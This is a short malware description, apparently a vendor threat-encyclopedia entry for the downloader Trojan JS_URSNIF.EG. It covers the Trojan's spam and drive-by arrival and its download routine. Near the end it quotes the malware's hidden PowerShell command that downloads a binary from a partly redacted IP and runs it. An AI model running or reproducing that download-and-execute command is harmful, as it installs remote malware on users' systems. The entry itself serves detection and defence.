JS_URSNIF.EG

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}.{BLOCKED}.96.105/1010.bin?TNyv

It saves the files it downloads using the following names:

• %User Profile%\AppData\RoamingWUC26.exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• The malware uses powershell commands in executing its malicious routine:
  • powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://{BLOCKED}.{BLOCKED}.96.105/1010.bin?TNyv','%User Profile%\AppData\RoamingWUC26.exe'); start-process '%User Profile%\AppData\RoamingWUC26.exe';